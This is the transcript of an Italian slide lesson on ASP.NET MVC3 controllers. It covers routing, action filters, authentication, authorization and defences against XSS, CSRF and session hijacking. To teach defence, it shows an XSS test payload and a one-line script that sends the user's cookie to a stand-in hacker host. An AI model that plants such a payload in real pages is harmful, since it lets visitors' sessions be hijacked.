ASP.NET MVC3 - Tutti i compiti del Controller
-
Upload
manuel-scapolan -
Category
Technology
-
view
911 -
download
2
description
Transcript of ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET
Sviluppo applicazioni web e linguaggio HTML
LEZIONE 07
Model View Controller
Model
Processa le richieste
degli utenti compilando
il modello e scegliendo
la view da renderizzare
Come fanno le richieste
ad arrivare al Controller?
Attraverso la definizione
di regole
di Routing
Una regola di routing
traduce l’indirizzo di una
richiesta in una
serie di parametri
Una regola di routing
traduce l’indirizzo di una
richiesta in una
serie di parametri
Tra questi parametri
devono sempre esserci
controller e action
… e poi?
… e poi tocca a noi
routes.MapRoute (
"PostByDate",
"date/{year}/{month}",
new { controller = "Post",
action = "ByDate",
year = DateTime.Now.Year,
month = DateTime.Now.Month
}
);
1
… e poi tocca a noi
public ActionResult ByDate(int year, int month)
{
IList<Post> posts = new List<Post>();
using (var db = new BlogContext())
{
posts = (from p in db.Posts
where p.PublishedDate.Year == year
&& p.PublishedDate.Month == month
select p).ToList();
}
return View("List", posts);
}
2
This slide is intentionally blank
Una delle caratteristiche
del pattern MVC è la
Separation of Concerns
… ma ci sono degli aspetti
dell’applicazione che sono
“trasversali”
Il risultato è spesso una
duplicazione di codice
In questi casi possiamo
utilizzare gli ActionFilter
Attributi che decorano le
action del controller che
vogliamo intercettare
Scriviamo un filtro per
salvare le statistiche sul
numero di pagine visitate
Se il filtro deve essere
applicato a tutte le action
posso aggiungerlo alla
lista dei GlobalFilters nel
file global.asax
This slide is intentionally blank
La sicurezza di una
applicazione viene garantita
tra le altre cose da …
Riconoscimento
dell’utente collegato 1
Riconoscimento
dell’utente collegato 1
2 Verifica dell’autorizzazione
a procedere
Riconoscimento
dell’utente collegato 1
2 Verifica dell’autorizzazione
a procedere
3 Protezione dalle minacce
facilitate dalle vulnerabilità
Riconoscimento
dell’utente collegato 1
Per identificare un utente
utilizziamo l’autenticazione
tramite form
Per specificare che una
action richiede il
riconoscimento dell’utente
usiamo il filtro
AuthorizeAttribute
Il filtro controlla nell’HttpContext
se l’utente è autenticato, se non
è così visualizza la pagina di
login specificata nel web.config
A questo punto l’utente ci
fornisce le sue credenziali …
Utilizza il membership provider integrato(ovvero gli utenti sono salvati nel database ASPNETDB.mdf)
Normalmente però le
credenziali dobbiamo
verificarle noi, dall’elenco
degli utenti della nostra
applicazione
Dependency
Injection
Verifica dell’autorizzazione a
procedere
Anche se l’utente è
conosciuto non è detto che
abbia i permessi per
svolgere una determinata
operazione
L’accesso può essere
regolato per utente e/o per
ruolo, generalmente però i
permessi sono specifici
dell’applicazione
Ad esempio un autore non
può modificare i post di un
altro autore
Protezione dalle minacce
facilitate dalle vulnerabilità 3
Quali vulnerabilità,
quali minacce?
Cross Site Scripting Permette ad un hacker di inserire
codice al fine di modificare il
contenuto della pagina web
visitata.
Cross Site Scripting Permette ad un hacker di inserire
codice al fine di modificare il
contenuto della pagina web
visitata. In questo modo è possibile
sottrarre dati sensibili presenti nel
browser degli utenti che visiteranno
successivamente quella pagina.
Fonte: Wikipedia
Come può accadere? Se permetto agli utenti del mio
sito di inserire contenuti in html …
Come può accadere? Se permetto agli utenti del mio
sito di inserire contenuti in html,
devo disabilitare il controllo degli
input con [ValidateInput=false]
Come può accadere? Se permetto agli utenti del mio
sito di inserire contenuti in html,
devo disabilitare il controllo degli
input con [ValidateInput=false]
E se poi qualcuno scrive del
codice javascript?
<script>alert(„XSS‟)</script>
Come difendersi?
Come difendersi?
Encoding quando serve
e validazione degli input
lato server, ovvero pulizia
dai tag indesiderati
Cross Site Request Forgery Permette ad un hacker di
sfruttare l‟autenticazione
tramite cookie per effettuare
una richiesta cross-domain a
nome dell‟utente (ovviamente
ignaro di tutto).
Come può accadere? Accade se visito la pagina nella
quale un hacker ha inserito un link
con i parametri “giusti” (oppure
un codice che esegue un post
automatico) dopo essermi
autenticato sul sito vulnerabile a
tale attacco.
Come difendersi?
Come difendersi? Controllare il referrer della
richiesta oppure utilizzare
un token fornito
dall’Antiforgery Helper
Indirizzo dal quale
è stata inviata la
richiesta
Antiforgery Helper
@using(Html.BeginForm()) {
@Html.AntiForgeryToken()
<!-- controlli di input -->
}
1
2 [HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Change(string pwd)
{
Session Hijacking Permette ad un hacker di
sfruttare la vulnerabilità XSS per
“rubare” l‟identità di un utente
data dal suo cookie di
autenticazione.
Come può accadere? L‟hacker nasconde dietro
l‟indirizzo di una immagine una
chiamata al suo sito passndo
come parametro il valore del
cookie dell‟utente.
img.src = “http://sito.hacker/ruba_identita?cookies=“+
encodeURI(document.cookie);
Come difendersi?
Come difendersi? Impedire l‟accesso al cookie
tramite script settando a true la
proprietà HttpOnly (disponibile
da IE 6 SP1).
continua?
Slide 4: http://www.flickr.com/photos/telstar/2987850087/in/photostream/
Slide 22: http://www.flickr.com/photos/mbiskoping/4120185389/in/photostream/
Slide 27: http://www.flickr.com/photos/clappstar/131011191/in/photostream/
Slide 33: http://www.flickr.com/photos/24196101@N00/6243028090/
Slide 39-43-47: http://www.flickr.com/photos/35703177@N00/3720913706/
Slide 39: http://www.flickr.com/photos/nizger/5750806378/in/photostream/
Credits Le immagini contenute in questa presentazione
hanno licenza Creative Commons
Thank You
MANUEL SCAPOLAN website: www.manuelscapolan.it twitter: manuelscapolan e-mail: [email protected]